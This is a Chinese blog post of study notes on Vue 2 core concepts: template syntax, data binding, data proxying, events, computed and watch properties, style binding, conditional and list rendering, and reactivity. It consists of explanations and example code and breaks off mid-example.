1 Vue核心

Agoni___

于 2023-03-06 17:37:37 发布

阅读量159

点赞数

分类专栏：前端 vue 文章标签： vue.js javascript 前端前端框架

本文链接：https://blog.csdn.net/Agoni___/article/details/129367061

版权

前端 vue 专栏收录该内容

7 篇文章 0 订阅

订阅专栏

1 Vue核心

1.1简介

1.1.1 介绍与描述

用来动态构建用户界面的渐进式 JavaScript 框架

构建用户界面：把数据通过某种办法变成用户界面
渐进式：vue可以自底向上逐层的应用，简单应用只需要一个轻量小巧的核心库，复杂应用可以引入各种各样的vue插件

1.1.2 特点

遵循 MVVM 模式
编码简洁, 体积小, 运行效率高, 适合移动/PC 端开发
它本身只关注 UI, 也可以引入其它第三方库开发项目
采用组件化模式，提高代码复用率、且让代码更好维护
声明式编码，无需直接操作DOM，提高开发效率

$[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wMlCGSMe-1678094875724)(D:\typora-notes\vue-images\image.png)]$
6.使用虚拟DOM和diff算法，尽量复用DOM节点
在这里插入图片描述

1.1.3 与其它 JS 框架的关联

借鉴 Angular 的模板和数据绑定技术
借鉴 React 的组件化和虚拟 DOM 技术

1.1.4 前置工作

安装Vue Devtools插件，插件详情->允许访问文件网址
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示

引入vue，相当于多了一个名为vue的构造函数

<!-- 引入Vue -->
    <script type="text/javascript" src="../js/vue.js"></script>

项目根目录放favicon.ico（shift+F5强制刷新）

1.2 初识Vue

想让Vue工作，就必须创建（new）一个Vue实例，且要传入一个配置对象（options ），value确定，el data；
root容器里的代码依然符合html规范，只不过混入了一些特殊的Vue语法(插值表达式)；
root容器（提供模板，放置解析结果）里的代码被称为【Vue模板】，先有容器，后有vue实例，执行到vue配置时，解析容器，生成全新的HTML片段并替换原来的模板，即挂载到容器中；
Vue实例和容器是一一对应的；
真实开发中只有一个Vue实例，并且会配合着组件一起使用；
{{xxx}}中的xxx要写js表达式，且xxx可以自动读取到data中的所有属性；
一旦data中的数据发生改变，那么页面中用到该数据的地方也会自动更新；

注意区分：js表达式和 js代码(语句)

1.表达式：一个表达式会产生一个值，可以放在任何一个需要值的地方：

(1). a

(2). a+b

(3). demo(1)

(4). x === y ? ‘a’ : ‘b’

2.js代码(语句)

(1). if(){}

(2). for(){}

 <!-- 准备好一个容器 -->
    <div id="demo">
      <h1>Hello,{{name.toUpperCase()}},{{address}}</h1>
    </div>

    <script type="text/javascript">
      Vue.config.productionTip = false; //阻止 vue 在启动时生成生产提示。

      //创建Vue实例
      new Vue({
        el: "#demo", //el用于指定当前Vue实例为哪个容器服务，值通常为css选择器字符串。
        data: {
          //data中用于存储数据，数据供el所指定的容器去使用，值我们暂时先写成一个对象。
          name: "atguigu",
          address: "北京",
        },
      });
     </script>

1.3 模板语法数据绑定

1.3.1 插值语法（双大括号表达式）

功能：用于解析标签体内容。
写法：{{xxx}}，xxx是js表达式，且可以直接读取到data中的所有属性。

1.3.2 指令语法

功能：用于解析标签（包括：标签属性、标签体内容、绑定事件…）。
举例：v-bind:href=“xxx” 或简写为 :href=“xxx”，会把xxx作为表达式执行，xxx同样要写js表达式，且可以直接读取到data中的所有属性。

备注：Vue中有很多的指令，且形式都是：v-???

<!-- 准备好一个容器-->
		<div id="root">
			<h1>插值语法</h1>
			<h3>你好，{{name}}</h3>
			<hr/>
			<h1>指令语法</h1>
			<a v-bind:href="school.url.toUpperCase()" x="hello">点我去{{school.name}}学习1</a>
			<a :href="school.url" x="hello">点我去{{school.name}}学习2</a>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		new Vue({
			el:'#root',
			data:{
				name:'jack',
				school:{//设置层级
					name:'尚硅谷',
					url:'http://www.atguigu.com',
				}
			}
		})
	</script>

1.3.3 单向数据绑定(v-bind)

单向绑定(v-bind)：数据只能从data流向页面。
语法：v-bind:href =“xxx” 或简写为 :href

1.3.4 双向数据绑定(v-model)

双向绑定(v-model)：数据不仅能从data流向页面，还可以从页面流向data。
语法：v-mode:value=“xxx” 或简写为 v-model=“xxx”

备注：

双向绑定一般都应用在表单类元素上（如：input、select等）

v-model:value 可以简写为 v-model，因为v-model默认收集的就是value值。

<!-- 准备好一个容器-->
		<div id="root">
			<!-- 普通写法 -->
			<!-- 单向数据绑定：<input type="text" v-bind:value="name"><br/>
			双向数据绑定：<input type="text" v-model:value="name"><br/> -->

			<!-- 简写 -->
			单向数据绑定：<input type="text" :value="name"><br/>
			双向数据绑定：<input type="text" v-model="name"><br/>

			<!-- 如下代码是错误的，因为v-model只能应用在表单类元素（输入类元素）上 -->
			<!-- <h2 v-model:x="name">你好啊</h2> -->
		</div>

1.4 el与data的两种写法

1.4.1 el的2种写法

new Vue时候配置el属性。
先创建Vue实例，随后再通过vm. $KaTeX parse error: Expected 'EOF', got '#' at position 8: mount('#̲root')指定el的值。$ mount在vue的原型对象上

1.4.2 data的2种写法

对象式
函数式

如何选择：目前哪种写法都可以，以后学习到组件时，data必须使用函数式，否则会报错。

一个重要的原则：

由Vue管理的函数，一定不要写箭头函数，一旦写了箭头函数，this就不再是Vue实例了。

//el的两种写法
   const v = new Vue({
			//el:'#root', //第一种写法
			data:{
				name:'尚硅谷'
			}
		})
		console.log(v)
		v.$mount('#root') //第二种写法  

    //data的两种写法
    new Vue({
      el: "#root",
      //data的第一种写法：对象式
    //    data:{
	// 			name:'尚硅谷'
	// 	} 

      //data的第二种写法：函数式
      data() {
        console.log("@@@", this); //此处的this是Vue实例对象
        return {
          name: "尚硅谷",
        };
      },
    });

1.5 MVVM模型

1.5.1 MVVM理解

M：模型(Model) ：对应 data 中的数据
V：视图(View) ：模板代码
VM：视图模型(ViewModel) ： Vue 实例对象 DOM监听数据绑定

观察发现：

data中所有的属性，最后都出现在了vm身上。

vm身上所有的属性及 Vue原型上所有属性，在Vue模板中都可以直接使用。

在这里插入图片描述

1.5.2 数据代理

回顾Object.defineproperty方法

  let number = 18;
      let person = {
        name: "张三",
        sex: "男",
      };
	   //为person追加age属性,age为number值
      Object.defineProperty(person, "age", {     
        //value:18,
        //enumerable:true, //控制属性是否可以枚举(遍历)，默认值是false
        //writable:true, //控制属性是否可以被修改，默认值是false
        //configurable:true, //控制属性是否可以被删除，默认值是false

        //当有人读取person的age属性时，get函数(getter)就会被调用，且返回值就是age的值
        get() {
          console.log("有人读取age属性了");
          return number;
        },

        //当有人修改person的age属性时，set函数(setter)就会被调用，且会收到修改的具体值value
        set(value) {
          console.log("有人修改了age属性，且值是", value);
          number = value;
        },
      });
	console.log(Object.keys(person));

    console.log(person);

在这里插入图片描述

何为数据代理

通过一个对象代理对另一个对象中属性的操作（读/写）

			let obj = {x:100}
			let obj2 = {y:200}
	//通过obj2的x可以操作obj的x
			Object.defineProperty(obj2,'x',{
                //读取obj2的x属性时，就会调用get，返回obj的x属性值
				get(){
					return obj.x
				},
                 //修改obj2的x属性时，就会调用set，会收到修改的具体值value,将其赋值给obj的x属性
				set(value){
					obj.x = value
				}
			})

vue中的数据代理

通过vm对象来代理data对象中属性的操作（读/写）
Vue中数据代理的好处：更加方便的操作data中的数据
基本原理：

vue将data拷贝了一份到_data中，_data会对data进行数据劫持，实现响应式

通过Object.defineProperty()把data对象中所有属性添加到vm上。

为每一个添加到vm上的属性，都指定一个getter/setter。

在getter/setter内部去操作（读/写）data中对应的属性。

在这里插入图片描述

1.6 事件处理

1.6.1 事件的基本使用：

使用v-on:xxx 或 @xxx 绑定事件，其中xxx是事件名；
事件的回调需要配置在methods对象中，最终会在vm上，如果绑定在data中会对其进行代理、劫持，加重vue负担；
methods中配置的函数，不要用箭头函数！否则this就不是vm了；
methods中配置的函数，都是被Vue所管理的函数，this的指向是vm 或组件实例对象；
@click=“demo” 和 @click=“demo($event)” 效果一致，但后者可以传参；

<div id="root">
      <h2>欢迎来到{{name}}学习</h2>
      <!-- <button v-on:click="showInfo">点我提示信息</button> -->
      <button @click="showInfo1">点我提示信息1（不传参）</button>
      <button @click="showInfo2($event,66)">点我提示信息2（传参）</button>
</div>

  <script type="text/javascript">
      const vm = new Vue({
      el: "#root",
      data: {
        name: "尚硅谷",
      },
      methods: {
        showInfo1(event) {
          // console.log(this) //此处的this是vm
          alert("同学你好！");
        },
        showInfo2(event, number) {
          console.log(event, number);
          // console.log(this) //此处的this是vm，被vue所管理的函数最好写成普通函数
          alert("同学你好！！");
        },
      },
    });
  </script>

1.6.2 事件修饰符

prevent：阻止默认事件（常用）；
stop：阻止事件冒泡（常用）；
once：事件只触发一次（常用）；
capture：使用事件的捕获模式；
self：只有event.target是当前操作的元素时才触发事件；
passive：事件的默认行为立即执行，无需等待事件回调执行完毕；

  <body>
    <!-- 准备好一个容器-->
    <div id="root">
      <h2>欢迎来到{{name}}学习</h2>
      <!-- 阻止默认事件（常用） -->
      <a href="http://www.atguigu.com" @click.prevent="showInfo"
        >点我提示信息</a
      >

      <!-- 阻止事件冒泡（常用） -->
      <div class="demo1" @click="showInfo">
        <button @click.stop="showInfo">点我提示信息</button>
        <!-- 修饰符可以连续写 -->
        <!-- <a href="http://www.atguigu.com" @click.prevent.stop="showInfo">点我提示信息</a> -->
      </div>

      <!-- 事件只触发一次（常用） -->
      <button @click.once="showInfo">点我提示信息</button>

      <!-- 使用事件的捕获模式 ，先捕获后冒泡，加上capture相当于在捕获时执行-->
      <div class="box1" @click.capture="showMsg(1)">
        div1
        <div class="box2" @click="showMsg(2)">div2</div>
      </div>

      <!-- 只有event.target是当前操作的元素时才触发事件；也可以阻止冒泡 -->
      <div class="demo1" @click.self="showInfo">
        <button @click="showInfo">点我提示信息</button>
      </div>

      <!-- 事件的默认行为立即执行，无需等待事件回调执行完毕； -->
      //@wheel鼠标滚轮，passive有影响，没有passive，for循环结束后才会滚动
      //@scroll滚动条，passive没有影响
      <ul @wheel.passive="demo" class="list">
        <li>1</li>
        <li>2</li>
        <li>3</li>
        <li>4</li>
      </ul>
    </div>
  </body>

  <script type="text/javascript">
     new Vue({
      el: "#root",
      data: {
        name: "尚硅谷",
      },
      methods: {
        showInfo(e) {
          alert("同学你好！");
          // console.log(e.target)
        },
        showMsg(msg) {
          console.log(msg);
        },
        demo() {
          for (let i = 0; i < 100000; i++) {
            console.log("#");
          }
          console.log("累坏了");
        },
      },
    });
  </script>

1.6.3 键盘事件

Vue中常用的按键别名：

回车 => enter

删除 => delete (捕获“删除”和“退格”键)

退出 => esc

空格 => space

换行 => tab (特殊，必须配合keydown去使用，因为tab按下还没等keyup时就切换了焦点)

上 => up

下 => down

左 => left

右 =>right

Vue未提供别名的按键，可以使用按键原始的key值去绑定，但注意要转为kebab-case（短横线命名）eg: CapsLock->caps-lock
系统修饰键（用法特殊）：ctrl、alt、shift、meta(win)

(1).配合keyup使用：按下修饰键的同时，再按下其他键，随后释放其他键，事件才被触发。@keyup.ctrl.y

(2).配合keydown使用：正常触发事件。

也可以使用keyCode去指定具体的按键（不推荐）不同电脑keycode可能不一样
Vue.config.keyCodes.自定义键名 = 键码，可以去定制按键别名（不推荐）

<div id="root">
			<h2>欢迎来到{{name}}学习</h2>
			<input type="text" placeholder="按下回车提示输入" @keydown.huiche="showInfo">
</div>
<script type="text/javascript">
		Vue.config.keyCodes.huiche = 13 //定义了一个别名按键

		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷'
			},
			methods: {
				showInfo(e){
					// console.log(e.key,e.keyCode)
					console.log(e.target.value)//键盘按下时打印text框里的值
				}
			},
		})
</script>

1.7 计算属性与监听

1.7.1 计算属性姓名案例

插值语法实现

<body>
		<!-- 准备好一个容器-->
		<div id="root">
			姓：<input type="text" v-model="firstName"> <br/><br/>
			名：<input type="text" v-model="lastName"> <br/><br/>
			全名：<span>{{firstName}}-{{lastName}}</span>
		</div>
	</body>

	<script type="text/javascript">
		new Vue({
			el:'#root',
			data:{
				firstName:'张',
				lastName:'三'
			}
		})
	</script>

methods实现

<body>
		<!-- 准备好一个容器-->
		<div id="root">
			姓：<input type="text" v-model="firstName"> <br/><br/>
			名：<input type="text" v-model="lastName"> <br/><br/>
			全名：<span>{{fullName()}}</span>
		</div>
	</body>

	<script type="text/javascript">
		new Vue({
			el:'#root',
			data:{
				firstName:'张',
				lastName:'三'
			},
			methods: {//处理语句写在methods中，减少插值表达式的复杂度
				fullName(){
					console.log('@---fullName') //data发生改变就会重新调一遍方法 
					return this.firstName + '-' + this.lastName//this指向vue实例
				}
			},
		})
	</script>

计算属性实现

1.定义：要用的属性不存在，要通过已有属性计算得来。

2.原理：底层借助了Objcet.defineproperty方法提供的getter和setter。

3.get函数什么时候执行？

(1).初次读取时会执行一次。

(2).当依赖的数据发生改变时会被再次调用。

4.优势：与methods实现相比，内部有缓存机制（复用），模板中有多处用到该属性，也只会执行一次get，效率更高，调试方便。

5.备注：

1.计算属性最终会出现在vm上，直接读取使用即可。

2.如果计算属性要被修改，那必须写set函数去响应修改，且set中要引起计算时依赖的数据发生改变。

<div id="root">
			姓：<input type="text" v-model="firstName"> <br/><br/>
			名：<input type="text" v-model="lastName"> <br/><br/>
			测试：<input type="text" v-model="x"> <br/><br/>
			全名：<span>{{fullName}}</span> <br/><br/>
</div>
<script type="text/javascript">
		const vm = new Vue({
			el:'#root',
			data:{
				firstName:'张',
				lastName:'三'
			},
			computed:{
				fullName:{
					//get有什么作用？当有人读取fullName时，get就会被调用，且返回值就作为fullName的值
					//get什么时候调用？1.初次读取fullName时。2.所依赖的数据（firstName，lastName）发生变化时。
					get(){
						console.log('get被调用了')
						// console.log(this) //此处的this是vm
						return this.firstName + '-' + this.lastName
					},
					//set什么时候调用? 当fullName被修改时。不一定需要写
					set(value){
						console.log('set',value)
						const arr = value.split('-')
						this.firstName = arr[0]
						this.lastName = arr[1]
					}
				}
			}
		})
	</script>

简写

//只读取不修改的情况
computed:{
    fullName(){
        console.log('get被调用了')
        return this.firstName + '-' + this.lastName
    }
}

1.7.2 （侦听）监视属性

天气案例

computed实现

 <div id="root">
      <h2>今天天气很{{info}}</h2>
      <!-- 绑定事件的时候：@xxx="yyy" yyy可以写一些简单的语句 -->
      <!-- <button @click="isHot = !isHot">切换天气</button> -->
      <button @click="changeWeather">切换天气</button>
  </div>
     <script type="text/javascript">
 	const vm = new Vue({
      el: "#root",
      data: {
        isHot: true,
      },
      computed: {
        info() {
          return this.isHot ? "炎热" : "凉爽";
        },
      },
      methods: {
        changeWeather() {
          this.isHot = !this.isHot;
        },
      },
    });
  </script>

监视属性watch：

1.当被监视的属性变化时, 回调函数自动调用, 进行相关操作

2.监视的属性必须存在，才能进行监视！！（data中的属性和计算属性）

3.监视的两种写法：

(1).new Vue时传入watch配置

(2).通过vm.$watch监视（不明确要监视的属性是哪个时）

<div id="root">
			<h2>今天天气很{{info}}</h2>
			<button @click="changeWeather">切换天气</button>
</div>
<script type="text/javascript">
	const vm = new Vue({
			el:'#root',
			data:{
				isHot:true,
			},
			computed:{
				info(){
					return this.isHot ? '炎热' : '凉爽'
				}
			},
			methods: {
				changeWeather(){
					this.isHot = !this.isHot
				}
			},
			 watch:{
				isHot:{
					immediate:true, //初始化时让handler调用一下，默认false
					//handler什么时候调用？当isHot发生改变时。
					handler(newValue,oldValue){
						console.log('isHot被修改了',newValue,oldValue)
					}
                    //简写 监视属性除了handler没有其他配置项时使用
				/* isHot(newValue,oldValue){
					console.log('isHot被修改了',newValue,oldValue,this)
				} */
				}
			}  
		})
		//watch的第二种写法
		vm.$watch('isHot',{//注意引号
			immediate:true, //初始化时让handler调用一下
			//handler什么时候调用？当isHot发生改变时。
			handler(newValue,oldValue){
				console.log('isHot被修改了',newValue,oldValue)
			}
		})
    //简写
		/* vm.$watch('isHot',(newValue,oldValue)=>{
			console.log('isHot被修改了',newValue,oldValue,this)
		}) */
	</script>

深度监视

(1).Vue中的watch默认不监测对象内部值的改变（一层）为了效率。内部属性改变，对象地址值并没有改变

(2).配置deep:true可以监测对象内部值改变（多层）。

备注：

(1).Vue自身可以监测对象内部值的改变，但Vue提供的watch默认不可以！

(2).使用watch时根据数据的具体结构，决定是否采用深度监视。

				//监视多级结构中某个属性的变化
				 'numbers.a':{
					handler(){
						console.log('a被改变了')
					}
				}  
				//监视多级结构中所有属性的变化
				numbers:{//numbers下层中任意一个属性改变都能被监测到
					deep:true,//默认为false
					handler(){
						console.log('numbers改变了')
					}
				}

1.7.3 计算属性VS监视属性

区别
1. computed能完成的功能，watch都可以完成。
2. watch能完成的功能，computed不一定能完成，例如：watch可以进行异步操作。
两个重要的小原则：
1. 所被Vue管理的函数，最好写成普通函数，这样this的指向才是vm 或组件实例对象
2. 所有不被Vue所管理的函数（定时器的回调函数、ajax的回调函数等、Promise的回调函数），最好写成箭头函数，这样this的指向才是vm 或组件实例对象。

//计算属性（更简洁但不能异步操作）
fullName(){
	 console.log('get被调用了')
	 return this.firstName + '-' + this.lastName
}

//监视属性
watch:{
	 firstName(val){
		 setTimeout(()=>{//定时器不是vue管理的，一定要写箭头函数，箭头函数没有自己的this，往外找到firstName，this是vm
			 console.log(this)
			 this.fullName = val + '-' + this.lastName
		 },1000);
	 },
	 lastName(val){
		 this.fullName = this.firstName + '-' + val
	 }
 }

1.8 绑定样式

1.8.1 class样式

写法:class="xxx" xxx可以是字符串、对象、数组。

字符串写法适用于：类名不确定，要动态获取。

对象写法适用于：要绑定多个样式，个数不确定，名字也不确定。

数组写法适用于：要绑定多个样式，个数确定，名字也确定，但不确定用不用。

<!-- 准备好一个容器-->
		<div id="root">
			<!-- 绑定class样式--字符串写法，适用于：样式的类名不确定，需要动态指定 -->
			<div class="basic" :class="mood" @click="changeMood">{{name}}</div> <br/><br/>

			<!-- 绑定class样式--数组写法，适用于：要绑定的样式个数不确定、名字也不确定 -->
			<div class="basic" :class="classArr">{{name}}</div> <br/><br/>

			<!-- 绑定class样式--对象写法，适用于：要绑定的样式个数确定、名字也确定，但要动态决定用不用 -->
			<div class="basic" :class="classObj">{{name}}</div> <br/><br/>			
</div>
<script type="text/javascript">
 const vm = new Vue({
      el: "#root",
      data: {
        name: "尚硅谷",
        mood: "normal",
        classArr: ["atguigu1", "atguigu2", "atguigu3"],
        classObj: {
          atguigu1: true,//改变布尔值，决定是否启用
          atguigu2: false,
        },
      },
      methods: {//随机切换样式
        changeMood() {
          const arr = ["happy", "sad", "normal"];
          const index = Math.floor(Math.random() * 3);
          this.mood = arr[index];
        },
      },
    });
  </script>

1.8.2 style样式（不常用）

:style="{fontSize: xxx}"其中xxx是动态值。
:style="[a,b]"其中a、b是样式对象。

<!-- 准备好一个容器-->
    <div id="root">
      <!-- 绑定style样式--对象写法 -->
      <div class="basic" :style="styleObj">{{name}}</div>
      <br /><br />
      <!-- 绑定style样式--数组写法 -->
      <!--  <div class="basic" :style="[styleObj,styleObj2]">{{name}}</div> -->
      <div class="basic" :style="styleArr">{{name}}</div>
    </div>
  </body>

  <script type="text/javascript">
    Vue.config.productionTip = false;

    const vm = new Vue({
      el: "#root",
      data: {
        name: "尚硅谷",
        mood: "normal",
        styleObj: {
          fontSize: "40px",
          color: "red",
        },
        styleObj2: {
          backgroundColor: "orange",
        },
        styleArr: [
          {
            fontSize: "40px",
            color: "blue",
          },
          {
            backgroundColor: "gray",
          },
        ],
      },
    });
  </script>

1.9 条件渲染

1.9.1 v-if

写法：

(1).v-if=“表达式”

(2).v-else-if=“表达式”

(3).v-else=“表达式”

适用于：切换频率较低的场景。
特点：不展示的DOM元素直接被移除。

==注意：==v-if可以和:v-else-if、v-else一起使用，但要求结构不能被“打断”。

1.9.2 v-show

写法：v-show=“表达式”
适用于：切换频率较高的场景。
特点：不展示的DOM元素未被移除，仅仅是使用样式隐藏掉

==备注：==使用v-if时，元素可能无法获取到，而使用v-show一定可以获取到。因为使用v-if时不展示的DOM元素直接被移除

  <!-- 准备好一个容器-->
    <div id="root">
      <h2>当前的n值是:{{n}}</h2>
      <button @click="n++">点我n+1</button>
      <!-- 使用v-show做条件渲染 -->
      <!-- <h2 v-show="false">欢迎来到{{name}}</h2> -->
      <!-- <h2 v-show="1 === 1">欢迎来到{{name}}</h2> -->

      <!-- 使用v-if做条件渲染 -->
      <!-- <h2 v-if="false">欢迎来到{{name}}</h2> -->
      <!-- <h2 v-if="1 === 1">欢迎来到{{name}}</h2> -->

      <!-- v-else和v-else-if -->
      <!-- 多种情况最好写v-else-if，满足条件后，下面的条件不会判断，提高效率 -->
      <div v-if="n === 1">Angular</div>
      <div v-else-if="n === 2">React</div>
      <div v-else-if="n === 3">Vue</div>
      <!-- v-else不需要条件，只要前面if不符合都会进入else -->
      <div v-else>哈哈</div>

      <!-- v-if与template的配合使用（只能和v-if）template不会破坏结构，解析时自动去除template -->
      <template v-if="n === 1">
        <h2>你好</h2>
        <h2>尚硅谷</h2>
        <h2>北京</h2>
      </template>
    </div>

1.10 列表渲染❤

1.10.1 v-for指令

用于展示列表数据
语法：v-for="(item, index) in xxx" :key="yyy" key唯一
可遍历：数组（最多）、对象、字符串（用的很少）、指定次数（用的很少）

	<!-- 准备好一个容器-->
		<div id="root">
			<!-- 遍历数组 -->
			<h2>人员列表（遍历数组）</h2>
			<ul>
				<li v-for="(p,index) of persons" :key="index">
					{{index}}--{{p.name}}-{{p.age}}
				</li>
			</ul>

			<!-- 遍历对象 -->
			<h2>汽车信息（遍历对象）</h2>
			<ul>
				<li v-for="(value,k) of car" :key="k">
					{{k}}-{{value}}
				</li>
			</ul>

			<!-- 遍历字符串 -->
			<h2>测试遍历字符串（用得少）</h2>
			<ul>
				<li v-for="(char,index) of str" :key="index">
					{{char}}-{{index}}
				</li>
			</ul>
			
			<!-- 遍历指定次数 -->
			<h2>测试遍历指定次数（用得少）</h2>
			<ul>
				<li v-for="(number,index) of 5" :key="index">
					{{index}}-{{number}}
				</li>
			</ul>
		</div>

		<script type="text/javascript">
			Vue.config.productionTip = false
			
			new Vue({
				el:'#root',
				data:{
					persons:[
						{id:'001',name:'张三',age:18},
						{id:'002',name:'李四',age:19},
						{id:'003',name:'王五',age:20}
					],
					car:{
						name:'奥迪A8',
						price:'70万',
						color:'黑色'
					},
					str:'hello'
				}
			})
		</script>

1.10.2 key原理

methods: {
	add(){
		const p = {id:'004',name:'老刘',age:40}
		this.persons.unshift(p)//向数组最前面添加数据
	}
},

在这里插入图片描述

面试题：react、vue中的key有什么作用？（key的内部原理）
1. 虚拟DOM中key的作用：key是虚拟DOM对象的标识，当数据发生变化时，Vue会根据【新数据】生成【新的虚拟DOM】, 随后Vue进行**【新虚拟DOM】与【旧虚拟DOM】的差异比较（diff算法）**
2. 对比规则：
  (1).旧虚拟DOM中找到了与新虚拟DOM相同的key：
  ①.若虚拟DOM中内容没变, 直接使用之前的真实DOM！
  ②.若虚拟DOM中内容变了, 则生成新的真实DOM，随后替换掉页面中之前的真实DOM。

(2).旧虚拟DOM中未找到与新虚拟DOM相同的key：

创建新的真实DOM，随后渲染到到页面。

用index作为key可能会引发的问题：
（1）若对数据进行：逆序添加、逆序删除等破坏顺序操作 ：会产生没有必要的真实DOM更新 ==> 界面效果没问题（不包含输入类的DOM）, 但效率低。

（2）如果结构中还包含输入类的DOM：会产生错误DOM更新 ==> 界面有问题。

4. 开发中如何选择key?

1.最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。
2.如果不存在对数据的逆序添加、逆序删除等破坏顺序操作，仅用于渲染列表用于展示，使用index作为key是没有问题的。

1.10.3 列表过滤

computer实现（更简洁）

<!-- 准备好一个容器-->
		<div id="root">
			<h2>人员列表</h2>
			<input type="text" placeholder="请输入名字" v-model="keyWord">
			<ul>
				<li v-for="(p,index) of filPerons" :key="index">
					{{p.name}}-{{p.age}}-{{p.sex}}
				</li>
			</ul>
		</div>
<script type="text/javascript">		 
			//用computed实现
			new Vue({
				el:'#root',
				data:{
					keyWord:'',
					persons:[
						{id:'001',name:'马冬梅',age:19,sex:'女'},
						{id:'002',name:'周冬雨',age:20,sex:'女'},
						{id:'003',name:'周杰伦',age:21,sex:'男'},
						{id:'004',name:'温兆伦',age:22,sex:'男'}
					]
				},
				computed:{
					filPerons(){
						return this.persons.filter((p)=>{
							return p.name.indexOf(this.keyWord) !== -1
						})
					}
				}
			}) 
 </script>

watch实现

<!-- 准备好一个容器-->
		<div id="root">
			<h2>人员列表</h2>
			<input type="text" placeholder="请输入名字" v-model="keyWord">
			<ul>
				<li v-for="(p,index) of filPerons" :key="index">
					{{p.name}}-{{p.age}}-{{p.sex}}
				</li>
			</ul>
		</div>
				<script type="text/javascript">
			Vue.config.productionTip = false
			
			//用watch实现
			//#region 折叠代码
			 new Vue({
				el:'#root',
				data:{
					keyWord:'',
					persons:[
						{id:'001',name:'马冬梅',age:19,sex:'女'},
						{id:'002',name:'周冬雨',age:20,sex:'女'},
						{id:'003',name:'周杰伦',age:21,sex:'男'},
						{id:'004',name:'温兆伦',age:22,sex:'男'}
					],
					filPerons:[]
				},
				watch:{
					keyWord:{
						immediate:true,//先执行，xxx.indexOf('')==0,初始化显示所有数据，否则无数据
						handler(val){
							this.filPerons = this.persons.filter((p)=>{//filter不影响原数组，不要直接修改原数                                                                        据，赋值给一个新数组
								return p.name.indexOf(val) !== -1 //indexOf返回val的下标，不存在时返回-1
							})
						}
					}
				}
			})  
			//#endregion
	 }) 
 </script>

1.10.4 列表排序（computed实现）

<!-- 准备好一个容器-->
		<div id="root">
			<h2>人员列表</h2>
			<input type="text" placeholder="请输入名字" v-model="keyWord">
			<button @click="sortType = 2">年龄升序</button>
			<button @click="sortType = 1">年龄降序</button>
			<button @click="sortType = 0">原顺序</button>
			<ul>
				<li v-for="(p,index) of filPerons" :key="p.id">
					{{p.name}}-{{p.age}}-{{p.sex}}
					<input type="text">
				</li>
			</ul>
		</div>

		<script type="text/javascript">
			Vue.config.productionTip = false
			
			new Vue({
				el:'#root',
				data:{
					keyWord:'',
					sortType:0, //0原顺序 1降序 2升序
					persons:[
						{id:'001',name:'马冬梅',age:30,sex:'女'},
						{id:'002',name:'周冬雨',age:31,sex:'女'},
						{id:'003',name:'周杰伦',age:18,sex:'男'},
						{id:'004',name:'温兆伦',age:19,sex:'男'}
					]
				},
				computed:{
					filPerons(){//里面的任何一个属性发生变化，都会重新计算
						const arr = this.persons.filter((p)=>{
							return p.name.indexOf(this.keyWord) !== -1
						})//先过滤后排序
						//判断一下是否需要排序
						if(this.sortType){//1和2都是true
							arr.sort((p1,p2)=>{//两个参数（数据项）
								return this.sortType === 1 ? p2.age-p1.age : p1.age-p2.age
							})
						}
						return arr //一定不要忘记写return
					}
				}
			}) 

		</script>

1.10.5 Vue监测数据改变的原理

对象

模拟数据监测

<script type="text/javascript" >

			let data = {
				name:'尚硅谷',
				address:'北京',
			}

			//创建一个监视的实例对象，用于监视data中属性的变化，一个对象作为参数
			const obs = new Observer(data)		
			console.log(obs)	

			//准备一个vm实例对象
			let vm = {}
			vm._data = data = obs
			//vue内部有Observer构造函数
			function Observer(obj){
				//汇总对象中所有的属性形成一个数组
				const keys = Object.keys(obj)//
				//遍历
				keys.forEach((k)=>{//["name","address"]
					Object.defineProperty(this,k,{//this是实例对象obs，为obs添加name和address属性
						get(){
							return obj[k]//obj.k，obj就是传入的data对象（形参），访问obs的name属性，返回的是data中的name
						},
						set(val){
                            //vm._data = obs，修改obs.name相当于修改vm._data.name，重新解析模板
							console.log(`${k}被改了，我要去解析模板，生成虚拟DOM.....我要开始忙了`)
							obj[k] = val
						}
					})
				})
			}
    //obs拷贝了data中的数据，并创建get set（做了data的数据代理）
    //data = obs，把obs的地址给data，需要对data中进行数据修改只能通过obs来实现
    //vm._data = obs，vm里会用数据代理，方便只用vm.name就能访问或修改
    //总结：obs做了原始data的数据代理，vm又做了obs的数据代理
 
    //数据劫持 data变成_data形式这个动作，改变_data中的属性，会被set劫持到，然后修改数据，解析模板
</script>

数组

Vue 将被侦听的数组的变更方法进行了包裹，所以它们也将会触发视图更新。这些被包裹过的方法包括：

push()
pop()
shift()
unshift()
splice()
sort()
reverse()

this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'}更改data中的数据，vue不监听

this.persons.splice(0,1,{id:'001',name:'马老师',age:50,sex:'男'}) 监听，用了splice，监测到数组变化

this.persons.splice已经不是Array原型对象上的splice方法了，而是经过了vue的包裹

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-NpJdGx2G-1678094875732)(vue-images/image-20230227141249397.png)]

1.10.6 Vue.set的使用

{{student.sex}} ，没定义student.sex时，undefined，不报错，页面不显示

{{sex}}会报错，vm上有student没有sex

Vue.set( target, propertyName/index, value )向响应式对象中添加一个 property，并确保这个新 property 同样是响应式的，且触发视图更新。

Vue.delete( target, propertyName/index, value )在响应式对象中删除一个 property，且触发视图更新。

<!-- 准备好一个容器-->
		<div id="root">
			<h1>学校信息</h1>
			<h2>学校名称：{{school.name}}</h2>
			<h2>学校地址：{{school.address}}</h2>
			<h2>校长是：{{school.leader}}</h2>
			<hr/>
			<h1>学生信息</h1>
			<button @click="addSex">添加一个性别属性，默认值是男</button>
			<h2>姓名：{{student.name}}</h2>
			<h2 v-if="student.sex">性别：{{student.sex}}</h2>
			<h2>年龄：真实{{student.age.rAge}}，对外{{student.age.sAge}}</h2>
			<h2>朋友们</h2>
			<ul>
				<li v-for="(f,index) in student.friends" :key="index">
					{{f.name}}--{{f.age}}
				</li>
			</ul>
		</div>
	</body>

	<script type="text/javascript">
		Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。

		const vm = new Vue({
			el:'#root',
			data:{
				school:{
					name:'尚硅谷',
					address:'北京',
				},
				student:{
					name:'tom',
					age:{
						rAge:40,
						sAge:29,
					},
					friends:[
						{name:'jerry',age:35},
						{name:'tony',age:36}
					]
				}
			},
			methods: {
